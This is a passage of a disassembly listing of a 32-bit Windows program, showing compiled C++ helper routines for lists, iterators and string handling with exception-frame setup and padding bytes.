		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+10h]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414C70	proc near		; CODE XREF: sub_4011C7j
		push	esi
		mov	esi, ecx
		call	sub_401B45
sub_414C70	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_414C88
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414C88:				; CODE XREF: ___:00414C7Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414CA0	proc near		; CODE XREF: sub_401B45j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414CA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+54h]
		mov	[esp+14h+var_4], 3
		call	sub_401578
sub_414CA0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+10h], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414D40	proc near		; CODE XREF: sub_4014BFj

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_414D40
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	ebx
		push	esi
		mov	esi, [esp+54h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_414E3B
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	eax
		call	sub_4014C9
		sub	esp, 18h
		mov	[esp+88h+var_4], 0
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	offset byte_446F60
		call	sub_401861
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_448C8E
		mov	[esp+88h+var_4], ebx
		call	sub_40210D
		test	al, al
		jz	loc_414F70
		push	0
		push	5
		push	19h
		push	2
		push	4
		push	0Fh
		push	0Fh
		lea	ecx, [esp+74h+var_3C]
		push	21h
		push	ecx
		call	sub_4019B5
		add	esp, 24h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 1
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+58h+var_3C]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_414E3B:				; CODE XREF: sub_414D40+36j
		lea	ecx, [edi+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_414F70
		sub	esp, 18h
		lea	edx, [esi+54h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	edx
		call	sub_4014C9
		sub	esp, 18h
		lea	eax, [esi+3Fh]
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	eax
		mov	[esp+8Ch+var_4], 2
		call	sub_4014C9
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0A0h+var_48], esp
		push	edx
		mov	byte ptr [esp+0A4h+var_4], 3
		call	sub_4014C9
		sub	esp, 18h
		mov	ecx, esi
		mov	eax, esp
		mov	[esp+0B8h+var_44], esp
		push	1
		push	offset asc_443600 ; " "
		push	2
		push	eax
		mov	byte ptr [esp+0C8h+var_4], 4
		call	sub_4011EA
		sub	esp, 18h
		mov	byte ptr [esp+0D0h+var_4], 5
		mov	ecx, esp
		mov	[esp+0D0h+var_40], esp
		push	1
		push	offset asc_443600 ; " "
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_448C8E
		mov	[esp+0D0h+var_4], ebx
		call	sub_40189D
		test	al, al
		jz	short loc_414F70
		push	0
		push	4
		push	5
		push	14h
		push	10h
		push	5
		push	3
		push	3
		lea	edx, [esp+78h+var_24]
		push	1Bh
		push	edx
		call	sub_4019B5
		add	esp, 28h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 6
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+58h+var_24]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_414F70:				; CODE XREF: sub_414D40+82j
					; sub_414D40+10Dj ...
		mov	ecx, [esp+58h+var_C]
		pop	edi
		pop	esi
		xor	al, al
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 4Ch
		retn	4
sub_414D40	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415030	proc near		; CODE XREF: sub_40132Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401EBA
sub_415030	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415070	proc near		; CODE XREF: sub_40171Cj

arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		push	0
		push	0
		mov	al, [edi]
		mov	[esi], al
		call	sub_401EBA
sub_415070	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esi+4], eax
		push	ecx
		mov	ecx, edi
		mov	dword ptr [esi+8], 0
		call	sub_4016CC
		mov	edx, [eax]
		lea	eax, [esp+8]
		push	edx
		push	eax
		mov	ecx, edi
		call	sub_40113B
		mov	ecx, [eax]
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		mov	ecx, esi
		push	eax
		call	sub_40172B
		mov	eax, esi
		pop	edi
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4150F0	proc near		; CODE XREF: sub_401578j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D89
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401465
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401CD5
sub_4150F0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415160	proc near		; CODE XREF: sub_4012E9j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_40208B
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401DA7
		mov	eax, esi
		pop	esi
		retn	4
sub_415160	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4151A0	proc near		; CODE XREF: sub_401D89j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401DA7
		mov	eax, esi
		pop	esi
		retn	4
sub_4151A0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4151D0	proc near		; CODE XREF: sub_40147Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401D89
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40215D
sub_4151D0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415210	proc near		; CODE XREF: sub_401258j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_8]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D89
		lea	ecx, [esp+10h+var_C]
		push	ecx
		mov	ecx, esi
		call	sub_4012E9
		lea	edx, [esp+10h+var_8]
		lea	ecx, [esp+10h+var_C]
		push	edx
		call	sub_401D5C
		test	al, al
		jz	short loc_415291
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_415243:				; CODE XREF: sub_415210+7Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_401FA5
		mov	eax, [eax]
		mov	ecx, [edi]
		cmp	eax, ecx
		jnz	short loc_415275
		lea	ecx, [esp+14h+arg_0]
		push	0
		push	ecx
		lea	ecx, [esp+1Ch+var_C]
		call	sub_40156E
		mov	edx, [eax]
		lea	eax, [esp+14h+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401FAF
; ---------------------------------------------------------------------------
		jmp	short loc_41527E
; ---------------------------------------------------------------------------


loc_415275:				; CODE XREF: sub_415210+42j
		lea	ecx, [esp+14h+var_C]
		call	sub_4020A4


loc_41527E:				; CODE XREF: sub_415210+63j
		lea	ecx, [esp+14h+var_8]
		push	ecx
		lea	ecx, [esp+18h+var_C]
		call	sub_401D5C
		test	al, al
		jnz	short loc_415243
		pop	edi


loc_415291:				; CODE XREF: sub_415210+2Cj
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415210	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4152D0	proc near		; CODE XREF: sub_401E1Fj
		push	esi
		mov	esi, ecx
		call	sub_401EB5
		mov	eax, esi
		pop	esi
		retn
sub_4152D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4152F0	proc near		; CODE XREF: sub_401FA5j
		mov	eax, [ecx]
		push	eax
		call	sub_401EFB
		add	esp, 4
		retn
sub_4152F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415310	proc near		; CODE XREF: sub_4020A4j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40208B
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415310	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415340	proc near		; CODE XREF: sub_401D5Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015CD
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415340	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415370	proc near		; CODE XREF: sub_401F05j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401C7B
sub_415370	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4153B0	proc near		; CODE XREF: sub_4011B8j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402234
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401983
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401E1A
sub_4153B0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415420	proc near		; CODE XREF: sub_401983j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401CC6
		mov	eax, esi
		pop	esi
		retn	4
sub_415420	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415460	proc near		; CODE XREF: sub_402234j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401CC6
		mov	eax, esi
		pop	esi
		retn	4
sub_415460	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415490	proc near		; CODE XREF: sub_401EF1j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_402234
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401A96
sub_415490	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4154D0	proc near		; CODE XREF: sub_401924j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402234
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401983
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		pop	esi
		add	esp, 0Ch
		retn
sub_4154D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415520	proc near		; CODE XREF: sub_401154j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_8]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402234
		lea	ecx, [esp+10h+var_C]
		push	ecx
		mov	ecx, esi
		call	sub_401983
		lea	edx, [esp+10h+var_8]
		lea	ecx, [esp+10h+var_C]
		push	edx
		call	sub_401AD7
		test	al, al
		jz	short loc_4155A1
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_415553:				; CODE XREF: sub_415520+7Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_4011D1
		mov	eax, [eax]
		mov	ecx, [edi]
		cmp	eax, ecx
		jnz	short loc_415585
		lea	ecx, [esp+14h+arg_0]
		push	0
		push	ecx
		lea	ecx, [esp+1Ch+var_C]
		call	sub_4010DC
		mov	edx, [eax]
		lea	eax, [esp+14h+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4017DF
; ---------------------------------------------------------------------------
		jmp	short loc_41558E
; ---------------------------------------------------------------------------


loc_415585:				; CODE XREF: sub_415520+42j
		lea	ecx, [esp+14h+var_C]
		call	sub_4018B6


loc_41558E:				; CODE XREF: sub_415520+63j
		lea	ecx, [esp+14h+var_8]
		push	ecx
		lea	ecx, [esp+18h+var_C]
		call	sub_401AD7
		test	al, al
		jnz	short loc_415553
		pop	edi


loc_4155A1:				; CODE XREF: sub_415520+2Cj
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415520	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4155E0	proc near		; CODE XREF: sub_401037j
		push	esi
		mov	esi, ecx
		call	sub_401E79
		mov	eax, esi
		pop	esi
		retn
sub_4155E0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415600	proc near		; CODE XREF: sub_4011D1j
		mov	eax, [ecx]
		push	eax
		call	sub_402126
		add	esp, 4
		retn
sub_415600	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415620	proc near		; CODE XREF: sub_4018B6j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415620	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415650	proc near		; CODE XREF: sub_401AD7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401EA6
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415650	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415680	proc near		; CODE XREF: sub_401843j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401DA2
sub_415680	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4156C0	proc near		; CODE XREF: sub_4014B5j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4018F2
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401401
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401EF6
sub_4156C0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415730	proc near		; CODE XREF: sub_4018F2j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_401BB8
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401D66
		mov	eax, esi
		pop	esi
		retn	4
sub_415730	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415770	proc near		; CODE XREF: sub_40114Aj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401D66
		mov	eax, esi
		pop	esi
		retn	4
sub_415770	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4157A0	proc near		; CODE XREF: sub_401406j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401CFD
sub_4157A0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4157E0	proc near		; CODE XREF: sub_401C62j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4018F2
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401401
		pop	esi
		add	esp, 0Ch
		retn
sub_4157E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415830	proc near		; CODE XREF: sub_402130j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_8]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		lea	ecx, [esp+10h+var_C]
		push	ecx
		mov	ecx, esi
		call	sub_4018F2
		lea	edx, [esp+10h+var_8]
		lea	ecx, [esp+10h+var_C]
		push	edx
		call	sub_401339
		test	al, al
		jz	short loc_4158B1
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_415863:				; CODE XREF: sub_415830+7Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_40135C
		mov	eax, [eax]
		mov	ecx, [edi]
		cmp	eax, ecx
		jnz	short loc_415895
		lea	ecx, [esp+14h+arg_0]
		push	0
		push	ecx
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401EA1
		mov	edx, [eax]
		lea	eax, [esp+14h+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401078
; ---------------------------------------------------------------------------
		jmp	short loc_41589E
; ---------------------------------------------------------------------------


loc_415895:				; CODE XREF: sub_415830+42j
		lea	ecx, [esp+14h+var_C]
		call	sub_40118B


loc_41589E:				; CODE XREF: sub_415830+63j
		lea	ecx, [esp+14h+var_8]
		push	ecx
		lea	ecx, [esp+18h+var_C]
		call	sub_401339
		test	al, al
		jnz	short loc_415863
		pop	edi


loc_4158B1:				; CODE XREF: sub_415830+2Cj
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415830	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4158F0	proc near		; CODE XREF: sub_402252j
		push	esi
		mov	esi, ecx
		call	sub_401E29
		mov	eax, esi
		pop	esi
		retn
sub_4158F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415910	proc near		; CODE XREF: sub_40135Cj
		mov	eax, [ecx]
		push	eax
		call	sub_4017DA
		add	esp, 4
		retn
sub_415910	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415930	proc near		; CODE XREF: sub_40118Bj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401BB8
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415930	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415960	proc near		; CODE XREF: sub_401339j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40144C
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415960	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415990	proc near		; CODE XREF: sub_40113Bj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_40208B
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401753
		mov	eax, esi
		pop	esi
		retn	4
sub_415990	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4159D0	proc near		; CODE XREF: sub_4016CCj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401753
		mov	eax, esi
		pop	esi
		retn	4
sub_4159D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415A00	proc near		; CODE XREF: sub_40215Dj

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C4E
		mov	edi, eax
		push	edi
		call	sub_401104
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401EBA
sub_415A00	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401104
		push	edi
		mov	[eax], ebx
		call	sub_401104
		mov	edi, [eax]
		push	edi
		call	sub_401104
		mov	ecx, [eax]
		push	ecx
		call	sub_40208B
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401EFB
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_402194
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401DA7
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415AA0	proc near		; CODE XREF: sub_40172Bj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, ecx
